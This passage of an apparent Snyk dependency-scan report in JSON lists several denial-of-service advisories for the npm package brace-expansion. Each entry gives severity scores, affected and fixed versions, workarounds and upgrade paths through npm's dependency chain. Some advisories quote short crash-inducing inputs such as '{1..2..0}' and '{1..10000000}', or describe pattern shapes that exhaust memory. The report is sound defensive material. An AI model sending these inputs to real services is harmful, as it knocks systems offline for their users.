], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": 